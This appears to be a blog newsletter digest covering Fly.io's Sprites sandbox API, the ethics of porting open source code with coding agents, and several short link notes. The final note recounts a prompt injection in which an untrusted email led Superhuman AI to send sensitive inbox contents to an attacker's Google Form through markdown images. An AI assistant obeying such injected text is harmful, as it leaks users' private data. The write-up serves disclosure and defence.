Sprites offers a clean JSON API for doing exactly that, plus client libraries in Go and TypeScript and coming-soon Python and Elixir.
From their quick start:
# Create a new sprite
curl -X PUT https://api.sprites.dev/v1/sprites/my-sprite \
-H "Authorization: Bearer $SPRITES_TOKEN"
# Execute a command
curl -X POST https://api.sprites.dev/v1/sprites/my-sprite/exec \
-H "Authorization: Bearer $SPRITES_TOKEN" \
-d '{"command": "echo hello"}'
You can also checkpoint and rollback via the API, so you can get your environment exactly how you like it, checkpoint it, run a bunch of untrusted code, then roll back to the clean checkpoint when you’re done.
Managing network access is an important part of maintaining a good sandbox. The Sprites API lets you configure network access policiesusing a DNS-based allow/deny list like this:
curl -X POST \
“https://api.sprites.dev/v1/sprites/{name}/policy/network” \
-H “Authorization: Bearer $SPRITES_TOKEN” \
-H “Content-Type: application/json” \
-d ‘{
“rules”: [
{
“action”: “allow”,
“domain”: “github.com”
},
{
“action”: “allow”,
“domain”: “*.npmjs.org”
}
]
}’
Sprites have scale-to-zero baked into the architecture. They go to sleep after 30 seconds of inactivity, wake up quickly when needed and bill you for just the CPU hours, RAM hours and GB-hours of storage you use while the Sprite is awake.
Fly estimate a 4 hour intensive coding session as costing around 46 cents, and a low traffic web app with 30 hours of wake time per month at ~$4.
(I calculate that a web app that consumes all 8 CPUs and all 8GBs of RAM 24/7 for a month would cost ((7 cents * 8 * 24 * 30) + (4.375 cents * 8 * 24 * 30)) / 100 = $655.2 per month, so don’t necessarily use these as your primary web hosting solution for an app that soaks up all available CPU and RAM!)
I was hopeful that Fly would enter the developer-friendly sandbox API market, especially given other entrants from companies like Cloudflare and Modal and E2B.
I did not expect that they’d tackle the developer sandbox problem at the same time, and with the same product!
My one concern here is that it makes the product itself a little harder to explain.
I’m already spinning up some prototypes of sandbox-adjacent things I’ve always wanted to build, and early signs are very promising. I’ll write more about these as they turn into useful projects.
Update: Here’s some additional colour from Thomas Ptacek on Hacker News:
This has been in the works for quite awhile here. We put a long bet on “slow create fast start/stop” --- which is a really interesting and useful shape for execution environments --- but it didn’t make sense to sandboxers, so “fast create” has been the White Whale at Fly.io for over a year.
Last month I wrote about porting JustHTML from Python to JavaScript using Codex CLI and GPT-5.2 in a few hours while also buying a Christmas tree and watching Knives Out 3. I ended that post with a series of open questions about the ethics and legality of this style of work. Alexander Petros on lobste.rsjust challenged me to answer them, which is fair enough! Here’s my attempt at that.
You can read the original post for background, but the short version is that it’s now possible to point a coding agent at some other open source project and effectively tell it “port this to language X and make sure the tests still pass” and have it do exactly that.
Here are the questions I posed along with my answers based on my current thinking. Extra context is that I’ve since tried variations on a similar theme a few more times using Claude Code and Opus 4.5 and found it to be astonishingly effective.
I decided that the right thing to do here was to keep the open source license and copyright statement from the Python library author and treat what I had built as a derivative work, which is the entire point of open source.
After sitting on this for a while I’ve come down on yes, provided full credit is given and the license is carefully considered. Open source allows and encourages further derivative works! I never got upset at some university student forking one of my projects on GitHub and hacking in a new feature that they used. I don’t think this is materially different, although a port to another language entirely does feel like a slightly different shape.
Now this one is complicated!
It definitely hurts some projects because there are open source maintainers out there who say things like “I’m not going to release any open source code any more because I don’t want it used for training” - I expect some of those would be equally angered by LLM-driven derived works as well.
I don’t know how serious this problem is - I’ve seen angry comments from anonymous usernames, but do they represent genuine open source contributions or are they just angry anonymous usernames?
If we assume this is real, does the loss of those individuals get balanced out by the increase in individuals who CAN contribute to open source because they can now get work done in a few hours that might previously have taken them a few days that they didn’t have to spare?
I’ll be brutally honest about that question: I think that if “they might train on my code / build a derived version with an LLM” is enough to drive you away from open source, your open source values are distinct enough from mine that I’m not ready to invest significantly in keeping you. I’ll put that effort into welcoming the newcomers instead.
The much bigger concern for me is the impact of generative AI on demand for open source. The recent Tailwind story is a visible example of this - while Tailwind blamed LLMs for reduced traffic to their documentation resulting in fewer conversions to their paid component library, I’m suspicious that the reduced demand there is because LLMs make building good-enough versions of those components for free easy enough that people do that instead.
I’ve found myself affected by this for open source dependencies too. The other day I wanted to parse a cron expression in some Go code. Usually I’d go looking for an existing library for cron expression parsing - but this time I hardly thought about that for a second before prompting one (complete with extensive tests) into existence instead.
I expect that this is going to quite radically impact the shape of the open source library world over the next few years. Is that “harmful to open source”? It may well be. I’m hoping that whatever new shape comes out of this has its own merits, but I don’t know what those would be.
I’m not a lawyer so I don’t feel credible to comment on this one. My loose hunch is that I’m still putting enough creative control in through the way I direct the models for that to count as enough human intervention, at least under US law, but I have no idea.
I’ve come down on “yes” here, again because I never thought it was irresponsible for some random university student to slap an Apache license on some bad code they just coughed up on GitHub.
What’s important here is making it very clear to potential users what they should expect from that software. I’ve started publishing my AI-generated and not 100% reviewed libraries as alphas, which I’m tentatively thinking of as “alpha slop”. I’ll take the alpha label off once I’ve used them in production to the point that I’m willing to stake my reputation on them being decent implementations, and I’ll ship a 1.0 version when I’m confident that they are a solid bet for other people to depend on. I think that’s the responsible way to handle this.
That one was a deliberately provocative question, because for a new HTML5 parsing library that passes 9,200 tests you would need a very good reason to hire an expert team for two months (at a cost of hundreds of thousands of dollars) to write such a thing. And honestly, thanks to the existing conformance suites this kind of library is simple enough that you may find their results weren’t notably better than the one written by the coding agent.
Link 2026-01-10 A Software Library with No Code:
Provocative experiment from Drew Breunig, who designed a new library for time formatting (”3 hours ago” kind of thing) called “whenwords” that has no code at all, just a carefully written specification, an AGENTS.md and a collection of conformance tests in a YAML file.
Pass that to your coding agent of choice, tell it what language you need and it will write it for you on demand!
This meshes nearly with my recent interest in conformance suites. If you publish good enough language-independent tests it’s pretty astonishing how far today’s coding agents can take you!
quote2026-01-11
Also note that the python visualizer tool has been basically written by vibe-coding. I know more about analog filters -- and that’s not saying much -- than I do about python. It started out as my typical “google and do the monkey-see-monkey-do” kind of programming, but then I cut out the middle-man -- me -- and just used Google Antigravity to do the audio sample visualizer.
Linus Torvalds, Another silly guitar-pedal-related repo
TIL 2026-01-11 Taking Neon I at the Crucible:
I took the Neon I intensive week-long evening class at the Crucible in Oakland, with teachers Dan Kuppe and Kat. I learned to make a neon sign! It’s still awaiting final infusion of gas, but I’ll share photos here once it’s finished. …
Link 2026-01-11 Don’t fall into the anti-AI hype:
I’m glad someone was brave enough to say this. There is a lot of anti-AI sentiment in the software development community these days. Much of it is justified, but if you let people convince you that AI isn’t genuinely useful for software developers or that this whole thing will blow over soon it’s becoming clear that you’re taking on a very real risk to your future career.
As Salvatore Sanfilippo puts it:
It does not matter if AI companies will not be able to get their money back and the stock market will crash. All that is irrelevant, in the long run. It does not matter if this or the other CEO of some unicorn is telling you something that is off putting, or absurd. Programming changed forever, anyway.
I do like this hopeful positive outlook on what this could all mean, emphasis mine:
How do I feel, about all the code I wrote that was ingested by LLMs? I feel great to be part of that, because I see this as a continuation of what I tried to do all my life: democratizing code, systems, knowledge. LLMs are going to help us to write better software, faster, and will allow small teams to have a chance to compete with bigger companies. The same thing open source software did in the 90s.
This post has been the subject of heated discussions all day today on both Hacker Newsand Lobste.rs.
Link 2026-01-12 Superhuman AI Exfiltrates Emails:
Classic prompt injection attack:
When asked to summarize the user’s recent mail, a prompt injection in an untrusted email manipulated Superhuman AI to submit content from dozens of other sensitive emails (including financial, legal, and medical information) in the user’s inbox to an attacker’s Google Form.
To Superhuman’s credit they treated this as the high priority incident it is and issued a fix.
The root cause was a CSP rule that allowed markdown images to be loaded from docs.google.com - it turns out Google Forms on that domain will persist data fed to them via a GET request!
No posts